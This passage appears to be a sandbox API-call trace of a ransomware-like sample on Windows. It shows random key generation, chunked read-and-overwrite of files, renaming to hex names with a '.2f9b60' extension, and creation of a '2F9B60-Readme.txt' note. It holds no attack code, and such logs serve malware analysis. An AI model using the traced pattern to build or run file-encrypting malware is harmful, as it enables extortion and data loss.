returned 0x2e1a3de5 [0130.761] RtlRandomEx (in: Seed=0x2130f550 | out: Seed=0x2130f550) returned 0x5938af25 [0130.761] RtlRandomEx (in: Seed=0x2130f550 | out: Seed=0x2130f550) returned 0x742dd25 [0130.761] RtlRandomEx (in: Seed=0x2130f550 | out: Seed=0x2130f550) returned 0x48f63bee [0130.761] RtlRandomEx (in: Seed=0x2130f550 | out: Seed=0x2130f550) returned 0x5e16145 [0130.761] RtlRandomEx (in: Seed=0x2130f550 | out: Seed=0x2130f550) returned 0x2845143d [0130.761] RtlRandomEx (in: Seed=0x2130f550 | out: Seed=0x2130f550) returned 0x305b2abc [0130.761] RtlRandomEx (in: Seed=0x2130f550 | out: Seed=0x2130f550) returned 0x4d4f2369 [0130.761] RtlRandomEx (in: Seed=0x2130f550 | out: Seed=0x2130f550) returned 0x713f1f5e [0130.762] RtlRandomEx (in: Seed=0x2130f550 | out: Seed=0x2130f550) returned 0x162728e9 [0130.762] RtlRandomEx (in: Seed=0x2130f550 | out: Seed=0x2130f550) returned 0x309fe6e2 [0130.762] RtlRandomEx (in: Seed=0x2130f550 | out: Seed=0x2130f550) returned 0x3dd50de3 [0130.762] RtlRandomEx (in: Seed=0x2130f550 | out: Seed=0x2130f550) returned 0x4227a5a3 [0130.762] RtlRandomEx (in: Seed=0x2130f550 | out: Seed=0x2130f550) returned 0x7f4b4075 [0130.762] RtlRandomEx (in: Seed=0x2130f550 | out: Seed=0x2130f550) returned 0x54b3fc4d [0130.762] RtlRandomEx (in: Seed=0x2130f550 | out: Seed=0x2130f550) returned 0x120e62cb [0130.762] RtlRandomEx (in: Seed=0x2130f550 | out: Seed=0x2130f550) returned 0x1996fe85 [0130.762] RtlRandomEx (in: Seed=0x2130f550 | out: Seed=0x2130f550) returned 0x5ebed180 [0130.775] SetFilePointerEx (in: hFile=0x1a9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.775] ReadFile (in: hFile=0x1a9c, lpBuffer=0x20491ef0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2130f5c0, lpOverlapped=0x0 | out: lpBuffer=0x20491ef0*, lpNumberOfBytesRead=0x2130f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0130.802] SetFilePointerEx (in: hFile=0x1a9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97710 [0130.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867940 [0130.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266240 [0130.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266240) returned 1 [0130.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41c6e130 [0130.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266240 [0130.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266390 [0130.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266390) returned 1 [0130.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867940) returned 1 [0130.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97710) returned 1 [0130.804] WriteFile (in: hFile=0x1a9c, lpBuffer=0x41c6e130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2130f5c0, lpOverlapped=0x0 | out: lpBuffer=0x41c6e130*, lpNumberOfBytesWritten=0x2130f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0166.056] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c6e130) returned 1 [0166.057] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20491ef0) returned 1 [0166.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9fc70 [0166.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059e20 [0166.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866340 [0166.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3b00 [0166.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3b00) returned 1 [0166.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9e8f0 [0166.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3b00 [0166.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0e60 [0166.059] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0e60) returned 1 [0166.059] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866340) returned 1 [0166.059] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059e20) returned 1 [0166.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11a) returned 0x42c201c0 [0166.059] SetFilePointerEx (in: hFile=0x1a9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0166.059] WriteFile (in: hFile=0x1a9c, lpBuffer=0x42c201c0*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2130f670, lpOverlapped=0x0 | out: lpBuffer=0x42c201c0*, lpNumberOfBytesWritten=0x2130f670*=0x11a, lpOverlapped=0x0) returned 1 [0180.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1c00 [0180.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce248a0 [0180.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266210 [0180.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266210) returned 1 [0180.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x20266210 [0180.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202661e0 [0180.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266180 [0180.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266180) returned 1 [0180.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce248a0) returned 1 [0180.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1c00) returned 1 [0180.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1ced5800 [0180.803] sprintf (in: _Dest=0x1ced5800, _Format="%c%c" | out: _Dest="63") returned 2 [0180.803] sprintf (in: _Dest=0x1ced5802, _Format="%c%c" | out: _Dest="8c") returned 2 [0180.803] sprintf (in: _Dest=0x1ced5804, _Format="%c%c" | out: _Dest="08") returned 2 [0180.803] sprintf (in: _Dest=0x1ced5806, _Format="%c%c" | out: _Dest="77") returned 2 [0180.804] sprintf (in: _Dest=0x1ced5808, _Format="%c%c" | out: _Dest="83") returned 2 [0180.804] sprintf (in: _Dest=0x1ced580a, _Format="%c%c" | out: _Dest="15") returned 2 [0180.804] sprintf (in: _Dest=0x1ced580c, _Format="%c%c" | out: _Dest="7e") returned 2 [0180.804] sprintf (in: _Dest=0x1ced580e, _Format="%c%c" | out: _Dest="64") returned 2 [0180.804] sprintf (in: _Dest=0x1ced5810, _Format="%c%c" | out: _Dest="7e") returned 2 [0180.804] sprintf (in: _Dest=0x1ced5812, _Format="%c%c" | out: _Dest="79") returned 2 [0180.805] sprintf (in: _Dest=0x1ced5814, _Format="%c%c" | out: _Dest="3b") returned 2 [0180.805] sprintf (in: _Dest=0x1ced5816, _Format="%c%c" | out: _Dest="04") returned 2 [0180.805] sprintf (in: _Dest=0x1ced5818, _Format="%c%c" | out: _Dest="da") returned 2 [0180.805] sprintf (in: _Dest=0x1ced581a, _Format="%c%c" | out: _Dest="0c") returned 2 [0180.805] sprintf (in: _Dest=0x1ced581c, _Format="%c%c" | out: _Dest="14") returned 2 [0180.805] sprintf (in: _Dest=0x1ced581e, _Format="%c%c" | out: _Dest="b1") returned 2 [0180.805] sprintf (in: _Dest=0x1ced5820, _Format="%c%c" | out: _Dest="88") returned 2 [0180.805] sprintf (in: _Dest=0x1ced5822, _Format="%c%c" | out: _Dest="b8") returned 2 [0180.805] sprintf (in: _Dest=0x1ced5824, _Format="%c%c" | out: _Dest="36") returned 2 [0180.805] sprintf (in: _Dest=0x1ced5826, _Format="%c%c" | out: _Dest="7d") returned 2 [0180.805] sprintf (in: _Dest=0x1ced5828, _Format="%c%c" | out: _Dest="e4") returned 2 [0180.805] sprintf (in: _Dest=0x1ced582a, _Format="%c%c" | out: _Dest="25") returned 2 [0180.805] sprintf (in: _Dest=0x1ced582c, _Format="%c%c" | out: _Dest="1a") returned 2 [0180.805] sprintf (in: _Dest=0x1ced582e, _Format="%c%c" | out: _Dest="a1") returned 2 [0180.805] sprintf (in: _Dest=0x1ced5830, _Format="%c%c" | out: _Dest="4f") returned 2 [0180.805] sprintf (in: _Dest=0x1ced5832, _Format="%c%c" | out: _Dest="b2") returned 2 [0180.805] sprintf (in: _Dest=0x1ced5834, _Format="%c%c" | out: _Dest="60") returned 2 [0180.805] sprintf (in: _Dest=0x1ced5836, _Format="%c%c" | out: _Dest="05") returned 2 [0180.806] sprintf (in: _Dest=0x1ced5838, _Format="%c%c" | out: _Dest="94") returned 2 [0180.806] sprintf (in: _Dest=0x1ced583a, _Format="%c%c" | out: _Dest="fd") returned 2 [0180.806] sprintf (in: _Dest=0x1ced583c, _Format="%c%c" | out: _Dest="ac") returned 2 [0180.806] sprintf (in: _Dest=0x1ced583e, _Format="%c%c" | out: _Dest="64") returned 2 [0180.806] sprintf (in: _Dest=0x1ced5840, _Format="%c%c" | out: _Dest="25") returned 2 [0180.806] sprintf (in: _Dest=0x1ced5842, _Format="%c%c" | out: _Dest="7f") returned 2 [0180.806] sprintf (in: _Dest=0x1ced5844, _Format="%c%c" | out: _Dest="34") returned 2 [0180.806] sprintf (in: _Dest=0x1ced5846, _Format="%c%c" | out: _Dest="01") returned 2 [0180.806] sprintf (in: _Dest=0x1ced5848, _Format="%c%c" | out: _Dest="93") returned 2 [0180.806] sprintf (in: _Dest=0x1ced584a, _Format="%c%c" | out: _Dest="db") returned 2 [0180.806] sprintf (in: _Dest=0x1ced584c, _Format="%c%c" | out: _Dest="ac") returned 2 [0180.806] sprintf (in: _Dest=0x1ced584e, _Format="%c%c" | out: _Dest="31") returned 2 [0180.806] RtlInitAnsiString (in: DestinationString=0x2130f6e8, SourceString="638c087783157e647e793b04da0c14b188b8367de4251aa14fb2600594fdac64257f340193dbac31" | out: DestinationString="638c087783157e647e793b04da0c14b188b8367de4251aa14fb2600594fdac64257f340193dbac31") [0180.806] RtlAnsiStringToUnicodeString (in: DestinationString=0x2130f6b8, SourceString="638c087783157e647e793b04da0c14b188b8367de4251aa14fb2600594fdac64257f340193dbac31", AllocateDestinationString=1 | out: DestinationString="638c087783157e647e793b04da0c14b188b8367de4251aa14fb2600594fdac64257f340193dbac31") returned 0x0 [0180.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x2050cc90 [0180.807] RtlFreeAnsiString (AnsiString="6") [0180.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5800) returned 1 [0180.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266210) returned 1 [0180.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202661e0) returned 1 [0180.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c201c0) returned 1 [0180.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9e8f0) returned 1 [0180.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3b00) returned 1 [0180.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fc70) returned 1 [0180.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266240) returned 1 [0180.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202662d0) returned 1 [0180.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266330) returned 1 [0180.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266360) returned 1 [0180.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x2027b2d0 [0180.811] wcscat (in: _Dest=0x2027b2d0, _Source="638c087783157e647e79" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\638c087783157e647e79") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\638c087783157e647e79" [0180.811] wcscat (in: _Dest=0x2027b2d0, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\638c087783157e647e79.2f9b60") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\638c087783157e647e79.2f9b60" [0180.811] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\638c087783157e647e79.2f9b60", NtPathName=0x2130f690, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\638c087783157e647e79.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0180.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x42c36e10 [0184.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c36e10) returned 1 [0184.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20291460) returned 1 [0184.815] NtQueryInformationFile (in: FileHandle=0x1a9c, IoStatusBlock=0x2130f6f8, FileInformation=0x2130f708, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2130f6f8, FileInformation=0x2130f708) returned 0x0 [0184.815] NtSetInformationFile (FileHandle=0x1a9c, IoStatusBlock=0x2130f6f8, FileInformation=0x2130f708, Length=0x28, FileInformationClass=0x4) returned 0x0 [0188.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b2d0) returned 1 [0188.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cc90) returned 1 [0188.755] FlushFileBuffers (hFile=0x1a9c) returned 1 [0189.441] CloseHandle (hObject=0x1a9c) returned 1 [0202.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x43108580 [0202.258] wcscpy (in: _Dest=0x43108580, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0202.258] wcscat (in: _Dest=0x43108580, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\2F9B60-Readme.txt" [0202.258] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\2f9b60-readme.txt")) returned 0xffffffff [0206.078] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 1701 os_tid = 0x4e8 [0130.753] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\visintl.dll.trx_dll")) returned 0x2020 [0130.753] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll", dwFileAttributes=0x20) returned 1 [0130.755] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\visintl.dll.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1aa0 [0130.756] GetFileSizeEx (in: hFile=0x1aa0, lpFileSize=0x1fcef740 | out: lpFileSize=0x1fcef740*=488800) returned 1 [0130.756] SetFilePointerEx (in: hFile=0x1aa0, liDistanceToMove=0x7755c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.756] ReadFile (in: hFile=0x1aa0, lpBuffer=0x1fcef6c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1fcef708, lpOverlapped=0x0 | out: lpBuffer=0x1fcef6c0*, lpNumberOfBytesRead=0x1fcef708*=0x4, lpOverlapped=0x0) returned 1 [0130.776] SetFilePointerEx (in: hFile=0x1aa0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266240 [0130.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266300 [0130.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266390 [0130.777] NtQuerySystemTime (in: CurrentTime=0x1fcef600 | out: CurrentTime=0x1fcef600*=132462177360238000) returned 0x0 [0130.777] RtlRandomEx (in: Seed=0x1fcef5f0 | out: Seed=0x1fcef5f0) returned 0x2742b26d [0130.777] RtlRandomEx (in: Seed=0x1fcef5f0 | out: Seed=0x1fcef5f0) returned 0xa898d19 [0130.777] RtlRandomEx (in: Seed=0x1fcef5f0 | out: Seed=0x1fcef5f0) returned 0x6f01295e [0130.777] RtlRandomEx (in: Seed=0x1fcef5f0 | out: Seed=0x1fcef5f0) returned 0x436a633a [0130.777] RtlRandomEx (in: Seed=0x1fcef5f0 | out: Seed=0x1fcef5f0) returned 0x6b52c97 [0130.777] RtlRandomEx (in: Seed=0x1fcef5f0 | out: Seed=0x1fcef5f0) returned 0x36be63ba [0130.778] RtlRandomEx (in: Seed=0x1fcef5f0 | out: Seed=0x1fcef5f0) returned 0x252ce43e [0130.778] RtlRandomEx (in: Seed=0x1fcef5f0 | out: Seed=0x1fcef5f0) returned 0x31232476 [0130.778] RtlRandomEx (in: Seed=0x1fcef5f0 | out: Seed=0x1fcef5f0) returned 0x7c41335c [0130.778] RtlRandomEx (in: Seed=0x1fcef5f0 | out: Seed=0x1fcef5f0) returned 0x67be41b3 [0130.778] RtlRandomEx (in: Seed=0x1fcef5f0 | out: Seed=0x1fcef5f0) returned 0x4411de00 [0130.778] RtlRandomEx (in: Seed=0x1fcef5f0 | out: Seed=0x1fcef5f0) returned 0x29114857 [0130.778] RtlRandomEx (in: Seed=0x1fcef5f0 | out: Seed=0x1fcef5f0) returned 0x54fc012e [0130.778] RtlRandomEx (in: Seed=0x1fcef5f0 | out: Seed=0x1fcef5f0) returned 0x5ed58e24 [0130.778] RtlRandomEx (in: Seed=0x1fcef5f0 | out: Seed=0x1fcef5f0) returned 0x3a03af1d [0130.778] RtlRandomEx (in: Seed=0x1fcef5f0 | out: Seed=0x1fcef5f0) returned 0x625b51b2 [0130.778] RtlRandomEx (in: Seed=0x1fcef5f0 | out: Seed=0x1fcef5f0) returned 0x8296d96 [0130.778] RtlRandomEx (in: Seed=0x1fcef5f0 | out: Seed=0x1fcef5f0) returned 0x4c8f3490 [0130.778] RtlRandomEx (in: Seed=0x1fcef5f0 | out: Seed=0x1fcef5f0) returned 0x75bb9ba5 [0130.778] RtlRandomEx (in: Seed=0x1fcef5f0 | out: Seed=0x1fcef5f0) returned 0x4ae5701a [0130.778] RtlRandomEx (in: Seed=0x1fcef5f0 | out: Seed=0x1fcef5f0) returned 0x59365a44 [0130.778] RtlRandomEx (in: Seed=0x1fcef5f0 | out: Seed=0x1fcef5f0) returned 0x221a4371 [0130.778] RtlRandomEx (in: Seed=0x1fcef5f0 | out: Seed=0x1fcef5f0) returned 0x41a597e4 [0130.779] RtlRandomEx (in: Seed=0x1fcef5f0 | out: Seed=0x1fcef5f0) returned 0x49b9b02a [0130.779] RtlRandomEx (in: Seed=0x1fcef5f0 | out: Seed=0x1fcef5f0) returned 0x7921b027 [0130.779] RtlRandomEx (in: Seed=0x1fcef5f0 | out: Seed=0x1fcef5f0) returned 0x736a3d61 [0130.779] RtlRandomEx (in: Seed=0x1fcef5f0 | out: Seed=0x1fcef5f0) returned 0x7b936a3c [0130.779] RtlRandomEx (in: Seed=0x1fcef5f0 | out: Seed=0x1fcef5f0) returned 0x14c1c3d9 [0130.779] RtlRandomEx (in: Seed=0x1fcef5f0 | out: Seed=0x1fcef5f0) returned 0x42b5521 [0130.779] RtlRandomEx (in: Seed=0x1fcef5f0 | out: Seed=0x1fcef5f0) returned 0x528e6c64 [0130.779] RtlRandomEx (in: Seed=0x1fcef5f0 | out: Seed=0x1fcef5f0) returned 0x52a59a0e [0130.779] RtlRandomEx (in: Seed=0x1fcef5f0 | out: Seed=0x1fcef5f0) returned 0x726954a3 [0130.795] SetFilePointerEx (in: hFile=0x1aa0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.795] ReadFile (in: hFile=0x1aa0, lpBuffer=0x41c8c1b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1fcef660, lpOverlapped=0x0 | out: lpBuffer=0x41c8c1b0*, lpNumberOfBytesRead=0x1fcef660*=0x3c00, lpOverlapped=0x0) returned 1 [0130.807] SetFilePointerEx (in: hFile=0x1aa0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97710 [0130.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867940 [0130.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266390 [0130.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266390) returned 1 [0130.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41c84990 [0130.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266390 [0130.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266420 [0130.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266420) returned 1 [0130.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867940) returned 1 [0130.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97710) returned 1 [0130.808] WriteFile (in: hFile=0x1aa0, lpBuffer=0x41c84990*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1fcef660, lpOverlapped=0x0 | out: lpBuffer=0x41c84990*, lpNumberOfBytesWritten=0x1fcef660*=0x3c00, lpOverlapped=0x0) returned 1 [0165.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c84990) returned 1 [0165.243] SetFilePointerEx (in: hFile=0x1aa0, liDistanceToMove=0x3c000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.243] ReadFile (in: hFile=0x1aa0, lpBuffer=0x41c8c1b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1fcef660, lpOverlapped=0x0 | out: lpBuffer=0x41c8c1b0*, lpNumberOfBytesRead=0x1fcef660*=0x3c00, lpOverlapped=0x0) returned 1 [0165.839] SetFilePointerEx (in: hFile=0x1aa0, liDistanceToMove=0x3c000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420591f0 [0165.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0165.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19e30 [0165.840] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19e30) returned 1 [0165.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429d7240 [0165.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19e30 [0165.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19e60 [0165.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19e60) returned 1 [0165.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0165.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591f0) returned 1 [0165.841] WriteFile (in: hFile=0x1aa0, lpBuffer=0x429d7240*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1fcef660, lpOverlapped=0x0 | out: lpBuffer=0x429d7240*, lpNumberOfBytesWritten=0x1fcef660*=0x3c00, lpOverlapped=0x0) returned 1 [0192.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429d7240) returned 1 [0192.657] SetFilePointerEx (in: hFile=0x1aa0, liDistanceToMove=0x73960, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.657] ReadFile (in: hFile=0x1aa0, lpBuffer=0x41c8c1b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1fcef660, lpOverlapped=0x0 | out: lpBuffer=0x41c8c1b0*, lpNumberOfBytesRead=0x1fcef660*=0x3c00, lpOverlapped=0x0) returned 1 [0204.054] SetFilePointerEx (in: hFile=0x1aa0, liDistanceToMove=0x73960, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c760 [0204.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060cb0 [0204.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b110 [0204.057] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b110) returned 1 [0204.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42fce500 [0204.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b110 [0204.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a810 [0204.059] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a810) returned 1 [0204.059] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060cb0) returned 1 [0204.059] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0204.059] WriteFile (in: hFile=0x1aa0, lpBuffer=0x42fce500*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1fcef660, lpOverlapped=0x0 | out: lpBuffer=0x42fce500*, lpNumberOfBytesWritten=0x1fcef660*=0x3c00, lpOverlapped=0x0) returned 1 [0213.655] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42fce500) returned 1 [0213.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319fbb0 [0213.659] SetFilePointerEx (in: hFile=0x1aa0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0213.659] WriteFile (in: hFile=0x1aa0, lpBuffer=0x1338c0*, nNumberOfBytesToWrite=0x158, 